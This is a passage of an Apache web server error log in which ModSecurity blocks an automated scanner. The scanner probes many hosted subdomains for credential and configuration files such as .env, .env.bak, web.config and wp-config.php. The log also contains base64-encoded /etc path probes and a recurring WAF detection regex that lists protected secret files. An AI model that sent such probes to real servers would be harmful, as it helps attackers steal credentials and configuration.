http://cpcalendars.guu.rog.mybluehost.me/ [Sat Jun 13 18:07:59.954490 2026] [security2:error] [pid 531797:tid 532117] [client 91.92.42.86:35486] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "cpcalendars.guu.rog.mybluehost.me"] [uri "/___proxy_subdomain_cpcalendars/.env"] [unique_id "ai3w38TA7b1mZrmcA-8NJAAAAoo"], referer: http://cpcalendars.guu.rog.mybluehost.me/ [Sat Jun 13 18:07:59.966428 2026] [access_compat:error] [pid 531155:tid 531207] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9zeXMva2VybmVsL2lycQ== [Sat Jun 13 18:07:59.966892 2026] [access_compat:error] [pid 531155:tid 531207] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9zeXMva2VybmVsL2lycQ== [Sat Jun 13 18:08:00.041432 2026] [security2:error] [pid 531797:tid 532127] [client 91.92.42.86:57974] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "guu.rog.mybluehost.me"] [uri "/.env"] [unique_id "ai3w4MTA7b1mZrmcA-8NLAAAApI"], referer: http://guu.rog.mybluehost.me/.env [Sat Jun 13 18:08:00.120138 2026] [access_compat:error] [pid 531155:tid 531178] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2Uvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2UvaWQ= [Sat Jun 13 18:08:00.120401 2026] [access_compat:error] [pid 531155:tid 531178] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2Uvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2UvaWQ= [Sat Jun 13 18:08:00.163247 2026] [security2:error] [pid 531797:tid 532082] [client 20.151.217.54:15332] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "jugglepro.org"] [uri "/wolf.php"] [unique_id "ai3w4MTA7b1mZrmcA-8NMAAAAmg"] [Sat Jun 13 18:08:00.163986 2026] [security2:error] [pid 531797:tid 531921] [remote 17.22.237.77:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 77.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w4MTA7b1mZrmcA-8NMQAChDk"] [Sat Jun 13 18:08:00.210852 2026] [access_compat:error] [pid 531797:tid 531914] [remote 216.73.217.87:16924] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:00.211113 2026] [access_compat:error] [pid 531797:tid 531914] [remote 216.73.217.87:16924] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:00.226200 2026] [security2:error] [pid 531797:tid 531899] [remote 17.246.19.121:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 121.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w4MTA7b1mZrmcA-8NNwACKSM"] [Sat Jun 13 18:08:00.273767 2026] [security2:error] [pid 531797:tid 531996] [client 91.92.42.86:35554] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\.bak|\\\\.bak\\\\.php)$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1260"] [id "390582"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that nclude .bak)"] [severity "CRITICAL"] [hostname "autodiscover.eoz.fiz.mybluehost.me"] [uri "/.env.bak"] [unique_id "ai3w4MTA7b1mZrmcA-8NRQAAAhQ"], referer: http://autodiscover.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:00.315817 2026] [security2:error] [pid 531797:tid 532004] [client 91.92.42.86:35572] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "autodiscover.eoz.fiz.mybluehost.me"] [uri "/db.php"] [unique_id "ai3w4MTA7b1mZrmcA-8NSQAAAhw"], referer: http://autodiscover.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:00.355588 2026] [security2:error] [pid 531797:tid 532096] [client 91.92.42.86:35616] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.guu.rog.mybluehost.me"] [uri "/wp-config.php"] [unique_id "ai3w4MTA7b1mZrmcA-8NUAAAAnU"], referer: http://webdisk.guu.rog.mybluehost.me/ [Sat Jun 13 18:08:00.381223 2026] [security2:error] [pid 531155:tid 531343] [client 91.92.42.86:35646] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.eoz.fiz.mybluehost.me"] [uri "/database.php"] [unique_id "ai3w4CmiP80klyS0NnroCwAAAUQ"], referer: http://cpanel.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:00.388619 2026] [security2:error] [pid 531797:tid 532107] [client 91.92.42.86:35660] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.guu.rog.mybluehost.me"] [uri "/info.php"] [unique_id "ai3w4MTA7b1mZrmcA-8NVgAAAoA"], referer: http://webdisk.guu.rog.mybluehost.me/ [Sat Jun 13 18:08:00.422599 2026] [proxy:error] [pid 531797:tid 532126] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:08:00.422703 2026] [proxy_http:error] [pid 531797:tid 532126] [client 91.92.42.86:35720] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:00.422795 2026] [proxy:error] [pid 531797:tid 532085] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:08:00.422854 2026] [proxy_http:error] [pid 531797:tid 532085] [client 91.92.42.86:35696] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:00.423467 2026] [proxy:error] [pid 531797:tid 532126] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:08:00.423506 2026] [proxy_http:error] [pid 531797:tid 532126] [client 91.92.42.86:35720] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:00.423581 2026] [proxy:error] [pid 531797:tid 532085] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:08:00.423643 2026] [proxy_http:error] [pid 531797:tid 532085] [client 91.92.42.86:35696] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:00.436887 2026] [access_compat:error] [pid 531155:tid 531281] [remote 57.141.14.15:44549] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:00.437319 2026] [access_compat:error] [pid 531155:tid 531281] [remote 57.141.14.15:44549] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:00.438666 2026] [security2:error] [pid 531797:tid 532056] [client 91.92.42.86:35764] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "autodiscover.eoz.fiz.mybluehost.me"] [uri "/database.php"] [unique_id "ai3w4MTA7b1mZrmcA-8NXwAAAk4"], referer: http://autodiscover.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:00.450366 2026] [security2:error] [pid 531797:tid 532023] [client 91.92.42.86:35778] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.guu.rog.mybluehost.me"] [uri "/config.php"] [unique_id "ai3w4MTA7b1mZrmcA-8NYgAAAi8"], referer: http://webdisk.guu.rog.mybluehost.me/ [Sat Jun 13 18:08:00.453304 2026] [security2:error] [pid 531155:tid 531405] [client 91.92.42.86:35802] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.guu.rog.mybluehost.me"] [uri "/phpinfo.php"] [unique_id "ai3w4CmiP80klyS0NnroEAAAAYI"], referer: http://webdisk.guu.rog.mybluehost.me/ [Sat Jun 13 18:08:00.460213 2026] [security2:error] [pid 531797:tid 532059] [client 91.92.42.86:35806] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.guu.rog.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/.env"] [unique_id "ai3w4MTA7b1mZrmcA-8NZQAAAlE"], referer: http://webdisk.guu.rog.mybluehost.me/ [Sat Jun 13 18:08:00.460951 2026] [security2:error] [pid 531155:tid 531391] [client 91.92.42.86:35818] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcontacts.eoz.fiz.mybluehost.me"] [uri "/database.php"] [unique_id "ai3w4CmiP80klyS0NnroEgAAAXQ"], referer: http://cpcontacts.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:00.465602 2026] [security2:error] [pid 531155:tid 531318] [client 91.92.42.86:35838] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.eoz.fiz.mybluehost.me"] [uri "/settings.php"] [unique_id "ai3w4CmiP80klyS0NnroEwAAASs"], referer: http://cpanel.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:00.466361 2026] [security2:error] [pid 531155:tid 531313] [client 91.92.42.86:35852] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.guu.rog.mybluehost.me"] [uri "/phpinfo.php"] [unique_id "ai3w4CmiP80klyS0NnroFAAAASY"], referer: http://mail.guu.rog.mybluehost.me/ [Sat Jun 13 18:08:00.466377 2026] [security2:error] [pid 531797:tid 532125] [client 91.92.42.86:35830] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "autodiscover.eoz.fiz.mybluehost.me"] [uri "/settings.php"] [unique_id "ai3w4MTA7b1mZrmcA-8NZwAAApA"], referer: http://autodiscover.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:00.476072 2026] [security2:error] [pid 531797:tid 532016] [client 91.92.42.86:35570] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.eoz.fiz.mybluehost.me"] [uri "/db.php"] [unique_id "ai3w4MTA7b1mZrmcA-8NaAAAAig"], referer: http://cpanel.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:00.478479 2026] [security2:error] [pid 531797:tid 532038] [client 91.92.42.86:35876] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.guu.rog.mybluehost.me"] [uri "/info.php"] [unique_id "ai3w4MTA7b1mZrmcA-8NagAAAj0"], referer: http://mail.guu.rog.mybluehost.me/ [Sat Jun 13 18:08:00.478680 2026] [security2:error] [pid 531797:tid 532052] [client 91.92.42.86:35870] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "web.config"] [severity "CRITICAL"] [hostname "cpanel.eoz.fiz.mybluehost.me"] [uri "/___proxy_subdomain_cpanel/web.config"] [unique_id "ai3w4MTA7b1mZrmcA-8NaQAAAko"], referer: http://cpanel.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:00.479846 2026] [security2:error] [pid 531797:tid 532014] [client 91.92.42.86:35902] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.guu.rog.mybluehost.me"] [uri "/wp-config.php"] [unique_id "ai3w4MTA7b1mZrmcA-8NawAAAiY"], referer: http://mail.guu.rog.mybluehost.me/ [Sat Jun 13 18:08:00.480476 2026] [security2:error] [pid 531155:tid 531323] [client 91.92.42.86:35890] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "web.config"] [severity "CRITICAL"] [hostname "autodiscover.eoz.fiz.mybluehost.me"] [uri "/web.config"] [unique_id "ai3w4CmiP80klyS0NnroFgAAATA"], referer: http://autodiscover.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:00.501325 2026] [access_compat:error] [pid 531155:tid 531263] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9ldGM= [Sat Jun 13 18:08:00.501602 2026] [access_compat:error] [pid 531155:tid 531263] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9ldGM= [Sat Jun 13 18:08:00.504745 2026] [security2:error] [pid 531797:tid 531999] [client 91.92.42.86:35630] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.guu.rog.mybluehost.me"] [uri "/config.php"] [unique_id "ai3w4MTA7b1mZrmcA-8NbQAAAhc"], referer: http://mail.guu.rog.mybluehost.me/ [Sat Jun 13 18:08:00.510254 2026] [security2:error] [pid 531797:tid 532032] [client 91.92.42.86:35924] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.eoz.fiz.mybluehost.me"] [uri "/settings.php"] [unique_id "ai3w4MTA7b1mZrmcA-8NbgAAAjc"], referer: http://cpcalendars.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:00.512149 2026] [security2:error] [pid 531155:tid 531296] [client 91.92.42.86:35936] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.eoz.fiz.mybluehost.me"] [uri "/db.php"] [unique_id "ai3w4CmiP80klyS0NnroGgAAARU"], referer: http://cpcalendars.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:00.513403 2026] [security2:error] [pid 531155:tid 531317] [client 91.92.42.86:35918] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\.bak|\\\\.bak\\\\.php)$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1260"] [id "390582"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that nclude .bak)"] [severity "CRITICAL"] [hostname "cpcalendars.eoz.fiz.mybluehost.me"] [uri "/___proxy_subdomain_cpcalendars/.env.bak"] [unique_id "ai3w4CmiP80klyS0NnroGQAAASo"], referer: http://cpcalendars.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:00.516217 2026] [proxy:error] [pid 531155:tid 531335] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:08:00.516302 2026] [proxy_http:error] [pid 531155:tid 531335] [client 91.92.42.86:35946] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:00.516857 2026] [security2:error] [pid 531797:tid 532012] [client 91.92.42.86:35950] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\.bak|\\\\.bak\\\\.php)$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1260"] [id "390582"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that nclude .bak)"] [severity "CRITICAL"] [hostname "cpanel.eoz.fiz.mybluehost.me"] [uri "/___proxy_subdomain_cpanel/.env.bak"] [unique_id "ai3w4MTA7b1mZrmcA-8NcAAAAiQ"], referer: http://cpanel.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:00.517087 2026] [proxy:error] [pid 531797:tid 532092] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:08:00.517088 2026] [proxy:error] [pid 531155:tid 531335] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:08:00.517151 2026] [proxy_http:error] [pid 531155:tid 531335] [client 91.92.42.86:35946] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:00.517152 2026] [proxy_http:error] [pid 531797:tid 532092] [client 91.92.42.86:35958] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:00.517835 2026] [proxy:error] [pid 531797:tid 532092] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:08:00.517867 2026] [proxy_http:error] [pid 531797:tid 532092] [client 91.92.42.86:35958] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:00.543481 2026] [security2:error] [pid 531797:tid 532053] [client 91.92.42.86:35990] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcontacts.eoz.fiz.mybluehost.me"] [uri "/settings.php"] [unique_id "ai3w4MTA7b1mZrmcA-8NcwAAAks"], referer: http://cpcontacts.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:00.548578 2026] [security2:error] [pid 531797:tid 532109] [client 91.92.42.86:36006] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webmail.guu.rog.mybluehost.me"] [uri "/___proxy_subdomain_webmail/.env"] [unique_id "ai3w4MTA7b1mZrmcA-8NdAAAAoI"], referer: http://webmail.guu.rog.mybluehost.me/ [Sat Jun 13 18:08:00.557563 2026] [proxy:error] [pid 531797:tid 532127] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:08:00.557635 2026] [proxy_http:error] [pid 531797:tid 532127] [client 91.92.42.86:36030] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:00.558178 2026] [proxy:error] [pid 531797:tid 532127] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:08:00.558217 2026] [proxy_http:error] [pid 531797:tid 532127] [client 91.92.42.86:36030] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:00.558809 2026] [proxy:error] [pid 531797:tid 532055] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:08:00.558860 2026] [proxy_http:error] [pid 531797:tid 532055] [client 91.92.42.86:36036] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:00.559287 2026] [proxy:error] [pid 531797:tid 532055] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:08:00.559316 2026] [proxy_http:error] [pid 531797:tid 532055] [client 91.92.42.86:36036] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:00.562740 2026] [security2:error] [pid 531797:tid 532070] [client 91.92.42.86:36014] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "web.config"] [severity "CRITICAL"] [hostname "cpcontacts.eoz.fiz.mybluehost.me"] [uri "/___proxy_subdomain_cpcontacts/web.config"] [unique_id "ai3w4MTA7b1mZrmcA-8NeAAAAlw"], referer: http://cpcontacts.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:00.570329 2026] [proxy:error] [pid 531797:tid 532006] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:08:00.570400 2026] [proxy_http:error] [pid 531797:tid 532006] [client 91.92.42.86:36032] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:00.570920 2026] [proxy:error] [pid 531797:tid 532006] 